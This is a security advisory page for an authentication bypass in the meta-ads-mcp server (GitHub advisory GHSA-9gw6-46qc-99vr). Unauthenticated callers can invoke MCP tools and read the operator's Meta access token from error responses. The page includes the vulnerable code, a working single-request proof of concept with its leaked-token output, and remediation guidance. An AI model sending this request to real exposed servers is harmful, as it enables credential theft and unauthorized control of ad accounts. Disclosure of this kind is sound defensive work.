Meta Ads MCP CVE-2026-48039
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Network-reachable HTTP endpoint, no auth or interaction required, full token disclosure and arbitrary tool invocation give C:H and I:H; no direct availability impact on the MCP host.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token
| Field | Value |
|---|---|
| Repository | pipeboard-co/meta-ads-mcp |
| Affected version | ≤ 1.0.101 (commit 496c988 ~ 7d14226); Versions 1.0.102-1.0.105 lack git tags, so patch status is unconfirmed. |
| Vulnerability | CWE-287 - Improper Authentication |
| Severity | Critical |
| CVSS 3.1 | 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
Summary
AuthInjectionMiddleware.dispatch() at http_auth_integration.py:272 unconditionally forwards unauthenticated Streamable HTTP requests to downstream MCP tool handlers without issuing a 401 response, allowing any network-reachable caller to invoke MCP tools without authentication. When no per-request credential is present, tool handlers fall back to the META_ACCESS_TOKEN environment variable, and when the downstream Meta Graph API call fails, api.py:263-269 serialises the raw httpx request URL-including the operator's access_token as a query parameter-into the JSON-RPC response body, delivering the credential to the unauthenticated caller.
Affected Code
meta_ads_mcp/core/http_auth_integration.py:272 - middleware unconditionally calls call_next(request) even when no auth headers are present
if not auth_token and not pipeboard_token:
logger.warning("HTTP Auth Middleware: No authentication tokens found in headers")
try:
response = await call_next(request)
# line 272: no 401 returned
return response
finally:
if auth_token:
FastMCPAuthIntegration.clear_auth_token()
if pipeboard_token:
FastMCPAuthIntegration.clear_pipeboard_token()meta_ads_mcp/core/api.py:136 - operator token appended to URL query parameters, exposed verbatim in Graph API error response request_url
request_params = params or {}
request_params["access_token"] = access_tokenUnauthenticated HTTP POST /mcp → AuthInjectionMiddleware.dispatch():272 (no 401 returned) → tool handler invokes make_api_request() using META_ACCESS_TOKEN env fallback → request_params["access_token"]:136 (token in URL) → Graph API error path at api.py:263-269 returns request_url containing access_token=… in 200 OK JSON-RPC response.
Proof of Concept
Step 1 - POST /mcp with no auth headers: HTTP 200 OK with operator access_token in request_url - proves unauthenticated tool execution and operator credential leakage.
docker run --rm -p 127.0.0.1:8080:8080 -e META_ACCESS_TOKEN=FAKE_TOKEN_FOR_POC_DEMO_123456789 meta-ads-mcp-vuln001 &
python3 poc.pyPOST /mcp HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","method":"tools/call","id":2,"params":{"name":"get_ad_accounts","arguments":{"limit":1}}}HTTP/1.1 200 OK
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\"data\": \"{\\n \\\"error\\\": {\\n \\\"message\\\": \\\"HTTP Error: 400\\\",\\n \\\"details\\\": {\\n \\\"error\\\": {\\n \\\"message\\\": \\\"Invalid OAuth access token data.\\\",\\n \\\"type\\\": \\\"OAuthException\\\",\\n \\\"code\\\": 190\\n }\\n },\\n \\\"full_response\\\": {\\n \\\"status_code\\\": 400,\\n \\\"url\\\": \\\"https://graph.facebook.com/v24.0/me/adaccounts?...&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\",\\n \\\"request_url\\\": \\\"https://graph.facebook.com/v24.0/me/adaccounts?fields=id%2Cname%2Caccount_id%2Caccount_status%2Camount_spent%2Cbalance%2Ccurrency%2Cage%2Cbusiness_city%2Cbusiness_country_code&limit=1&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\"\\n }\\n }\\n}\"}"
}
],
"isError": false
}
}Impact
An unauthenticated attacker who can reach the MCP server's HTTP port (default 8080) can invoke any registered MCP tool as the operator, consuming the operator's Meta Ads API quota and performing read or write operations on connected Meta ad accounts. When any tool call triggers a Graph API error, the operator's META_ACCESS_TOKEN is returned verbatim in the request_url field of the 200 OK JSON-RPC response, enabling the attacker to exfiltrate the long-lived credential and subsequently access the Meta Graph API directly outside the MCP interface.
Remediation
In AuthInjectionMiddleware.dispatch() (http_auth_integration.py), return a 401 Unauthorized response when neither auth_token nor pipeboard_token is present, instead of falling through to call_next:
from starlette.responses import Response
if not auth_token and not pipeboard_token:
return Response(
content='{"error":"Unauthorized"}',
status_code=401,
media_type="application/json",
)In make_api_request() (api.py), strip access_token from the request_url in error payloads, or transmit the token via an Authorization: Bearer header rather than a URL query parameter to prevent it from appearing in URLs, server logs, or error responses.
Articles & Coverage 2
AnalysisAI
Unauthenticated remote attackers can invoke MCP tool handlers and exfiltrate the operator's long-lived Meta Graph API access token from pipeboard-co/meta-ads-mcp through version 1.0.108 when the server is run with the streamable-HTTP transport on a network-reachable port. The AuthInjectionMiddleware silently forwards requests lacking an Authorization or X-PIPEBOARD-API-TOKEN header, tool handlers fall back to the META_ACCESS_TOKEN environment variable, and Graph API error responses echo the request URL - including the token query parameter - back to the caller. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target operator runs meta-ads-mcp <= 1.0.108 with --transport streamable-http bound to a network-reachable interface (default TCP port 8080) and has the META_ACCESS_TOKEN environment variable set so tool handlers have a credential to fall back to. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1 Critical) is consistent with the description: any network-reachable caller can hit the default port 8080, no authentication or user interaction is required, and the PoC demonstrates both confidentiality loss (token leak) and integrity impact (tool invocation can write to ad accounts). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker scans the internet (or an internal network) for port 8080 hosting a meta-ads-mcp streamable-HTTP endpoint and sends a single unauthenticated POST /mcp containing a JSON-RPC tools/call for get_ad_accounts with no Authorization header. The server falls through the broken middleware, invokes the tool using the operator's META_ACCESS_TOKEN, and the Meta Graph API error response embeds that token verbatim in the request_url field of the 200 OK reply. … |
| Remediation | Vendor-released patch: upgrade to meta-ads-mcp 1.0.109 (https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.109), which makes the HTTP middleware return 401 with WWW-Authenticate: Bearer when no Authorization: Bearer or X-PIPEBOARD-API-TOKEN header is present and redacts access_token and appsecret_proof from the url and request_url fields of Graph API error payloads. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Immediately disable the HTTP-reachable service or restrict network access to trusted networks only; rotate all Meta Graph API access tokens in Meta Business Manager; audit access logs for unauthorized activity. …
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GHSA-9gw6-46qc-99vr